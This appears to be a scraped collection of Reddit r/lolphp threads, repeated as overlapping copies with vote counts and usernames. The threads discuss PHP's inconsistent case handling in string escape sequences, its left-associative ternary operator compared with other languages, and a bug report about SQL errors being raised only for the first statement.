<|soss|><|sot|>PHP is case (in)sensitive<|eot|><|sost|>We all know about case sensitive variables, case insensitive functions, etc. This one is new. What if you want to embed a character in a string by specifying its hex code? [The manual explains](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double) that you have two options: > Sequence | Meaning > ---------------------|--------- > *\x[0-9A-Fa-f]{1,2}* | the sequence of characters matching the regular expression is a character in hexadecimal notation > *\u{[0-9A-Fa-f]+}* | the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As expected, both `"\x41"` and `"\u{41}"` result in `'A'`. But is that escape sequence case sensitive? The answer is, of course, y^(n)e^(o)s: <?php echo "\x41 \u{41} \X41 \U{41}\n"; [Output:](https://3v4l.org/g5Itp) A A A \U{41} --- TL;DR: `\x` is case insensitive, `\u` is case sensitive. --- Bonus lolphp: > As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in `\{$var}` had not been printed. The manual keeps talking about printing, as if the only thing you could do with a string constant is to output it to a screen/browser. It also subtly implies that backslash processing is done as part of `echo` (or equivalent), which would also affect e.g. text from variables, instead of it being part of the syntax of string literals in PHP code.<|eost|><|sor|>The fun fact is realizing that Composer behaves differently on case sensitive vs case insensitive file systems. Oh, and that Macs are case insensitive...<|eor|><|eoss|><|endoftext|>
6
lolphp
EmperorArthur
f395jqj
<|soss|><|sot|>PHP is case (in)sensitive<|eot|><|sost|>We all know about case sensitive variables, case insensitive functions, etc. This one is new. What if you want to embed a character in a string by specifying its hex code? [The manual explains](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double) that you have two options: > Sequence | Meaning > ---------------------|--------- > *\x[0-9A-Fa-f]{1,2}* | the sequence of characters matching the regular expression is a character in hexadecimal notation > *\u{[0-9A-Fa-f]+}* | the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As expected, both `"\x41"` and `"\u{41}"` result in `'A'`. But is that escape sequence case sensitive? The answer is, of course, y^(n)e^(o)s: <?php echo "\x41 \u{41} \X41 \U{41}\n"; [Output:](https://3v4l.org/g5Itp) A A A \U{41} --- TL;DR: `\x` is case insensitive, `\u` is case sensitive. --- Bonus lolphp: > As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in `\{$var}` had not been printed. The manual keeps talking about printing, as if the only thing you could do with a string constant is to output it to a screen/browser. It also subtly implies that backslash processing is done as part of `echo` (or equivalent), which would also affect e.g. text from variables, instead of it being part of the syntax of string literals in PHP code.<|eost|><|sor|>The fun fact is realizing that Composer behaves differently on case sensitive vs case insensitive file systems. Oh, and that Macs are case insensitive...<|eor|><|sor|>By default. Developers can and should create a partition with a case-sensitive filesystem if they are going to do development in a macOS environment.<|eor|><|sor|>The shock wasn't realizing that composer does different things on case sensitive vs non case sensitive. It was that PHPStorm didn't catch the problem and that macOS uses a case insensitive filesystem in the first place. Really, it's more or less a POSIX system. Case sensitivity is the norm there, not the exception. More importantly, I would expect an error or at least a warning if case doesn't match even if it can find the file it's importing.<|eor|><|eoss|><|endoftext|>
6
lolphp
bart2019
96rc1x
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|eoss|><|endoftext|>
40
lolphp
Inityx
e43i3ue
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>https://i.redditmedia.com/MqYTOTg0hSjtro1qC3uRnZQz4HK3vdezyY5MAmBsAWs.jpg?w=360&s=813f2e9a4c07b606d44ec88735f9ea03<|eor|><|eoss|><|endoftext|>
25
lolphp
duskwuff
e43kz1l
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>Yep, it's been acknowledged that the PHP parser got this wrong from day 1. Unfortunately, it's basically impossible to fix in any backwards-compatible way, so we're stuck with it.<|eor|><|eoss|><|endoftext|>
21
lolphp
bart2019
e43ce51
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>It's called left association https://en.m.wikipedia.org/wiki/Operator_associativity<|eor|><|soopr|>That's indeed what's going on.... And it's wrong. https://stackoverflow.com/a/38231137 >In any sane language, the ternary operator is right-associative > However, the PHP ternary operator is weirdly left-associative Thus: even though the implementors copied the operators from other languages, they're the only ones who did their homework wrong. BTW I thought the associativity was more complex, because it seemed to me that it was different for the two operators.<|eoopr|><|eoss|><|endoftext|>
11
lolphp
shitcanz
e442q01
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>Oh, sorry, is this /r/20yearOldLolPHPsOMGThisIsEvenItsOwnSectionInTheFractalOfBadDesignWhereHaveYouBeenLiving ? I thought this was for vaguely new and interesting lolphp posts.<|eor|><|sor|>No-no! You got it all wrong. This sub is for all php lols, new or old. In this case it will be a lol for the remainder of PHPs existence (like so many other PHP lols). The lols are like good wine. They only get better as time goes by, my personal favourite being the php stdlib.<|eor|><|eoss|><|endoftext|>
10
lolphp
shitcanz
e43ov3j
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>Yep, it's been acknowledged that the PHP parser got this wrong from day 1. Unfortunately, it's basically impossible to fix in any backwards-compatible way, so we're stuck with it.<|eor|><|sor|>I fixed it by switching to Python. :)<|eor|><|sor|>You mean, the one language that has even _worse_ ternary stacking than PHP? 'b' if 'a' else 'd' if 'c' else 'e'<|eor|><|sor|>> You mean, the one language that has even worse ternary stacking than PHP? Python does not have ternary operator, thats just a short if statement, and its 100% obvious what it returns. 'b' if 'a' else 'd' if 'c' else 'e' De-sugars to if 'a': print('b') elif 'c': print('d') else: print('e') PHP on the other hand HAS an 100% from day 1 wrongly implemented ternary operator. $lol = 'b' ? 'a' : 'd' ? 'c' : 'e'; $lol === 'c' This is 100% lolphp.<|eor|><|eoss|><|endoftext|>
10
lolphp
pingpong
e444sz3
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>In PHP 7, they made the null coalescing operator (`??`) right-associative. echo null?? null?? '2'; You know, for consistency.<|eor|><|eoss|><|endoftext|>
9
lolphp
duskwuff
e43m15s
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>Yep, it's been acknowledged that the PHP parser got this wrong from day 1. Unfortunately, it's basically impossible to fix in any backwards-compatible way, so we're stuck with it.<|eor|><|sor|>I fixed it by switching to Python. :)<|eor|><|sor|>You mean, the one language that has even _worse_ ternary stacking than PHP? 'b' if 'a' else 'd' if 'c' else 'e'<|eor|><|eoss|><|endoftext|>
9
lolphp
duskwuff
e43qb04
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>Yep, it's been acknowledged that the PHP parser got this wrong from day 1. Unfortunately, it's basically impossible to fix in any backwards-compatible way, so we're stuck with it.<|eor|><|sor|>I fixed it by switching to Python. :)<|eor|><|sor|>You mean, the one language that has even _worse_ ternary stacking than PHP? 'b' if 'a' else 'd' if 'c' else 'e'<|eor|><|sor|>> You mean, the one language that has even worse ternary stacking than PHP? Python does not have ternary operator, thats just a short if statement, and its 100% obvious what it returns. 'b' if 'a' else 'd' if 'c' else 'e' De-sugars to if 'a': print('b') elif 'c': print('d') else: print('e') PHP on the other hand HAS an 100% from day 1 wrongly implemented ternary operator. $lol = 'b' ? 'a' : 'd' ? 'c' : 'e'; $lol === 'c' This is 100% lolphp.<|eor|><|sor|>> Python does not have ternary operator Sure it does: x = ('a' if 'b' else 'c') + 'x' print(x) This is entirely separate from the `if` statement -- it's an expression, not a statement. <|eor|><|eoss|><|endoftext|>
6
lolphp
iheartrms
e43l2om
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>Yep, it's been acknowledged that the PHP parser got this wrong from day 1. Unfortunately, it's basically impossible to fix in any backwards-compatible way, so we're stuck with it.<|eor|><|sor|>I fixed it by switching to Python. :)<|eor|><|eoss|><|endoftext|>
5
lolphp
Takeoded
e45zuoc
<|soss|><|sot|>Comparing the precedence rules of the ternary ? : operators between perl, Javascript and PHP<|eot|><|sost|>Javascript: (console window in a browser): 'a'?'b':'c'?'d':'e' b perl: perl -le "print 'a'?'b':'c'?'d':'e';" b PHP: php -r "echo 'a'?'b':'c'?'d':'e';" d Apparently, the recedence rules in Javascript and Perl make this expression equivalent to 'a'?'b':('c'?'d':'e') (as, in my personal opinion, it should be, as it eases chaining, i.e. writing a `switch` or "if/els(e)if/els(e)if/else" type expression with minimal fuss) while in PHP, it appears to be ('a'?'b':'c')?'d':'e' which I think is of no use at all. **Update** Though I'm not a proficient C programmer at all, I've tried my hand at the same test in C. #include <stdio.h> int main(void) { printf("%c\n", 'a'?'b':'c'?'d':'e'); return 0; } Compiled it with gcc.... guess what: it prints "b". <|eost|><|sor|>Oh, sorry, is this /r/20yearOldLolPHPsOMGThisIsEvenItsOwnSectionInTheFractalOfBadDesignWhereHaveYouBeenLiving ? I thought this was for vaguely new and interesting lolphp posts.<|eor|><|sor|>maybe the lol is that they didn't fix it for 7.0.0?<|eor|><|eoss|><|endoftext|>
5
lolphp
Hacre
85f0w9
<|sols|><|sot|>Throw an error on bad SQL, but only if it's the first statement!<|eot|><|sol|>https://bugs.php.net/bug.php?id=61613<|eol|><|eols|><|endoftext|>
38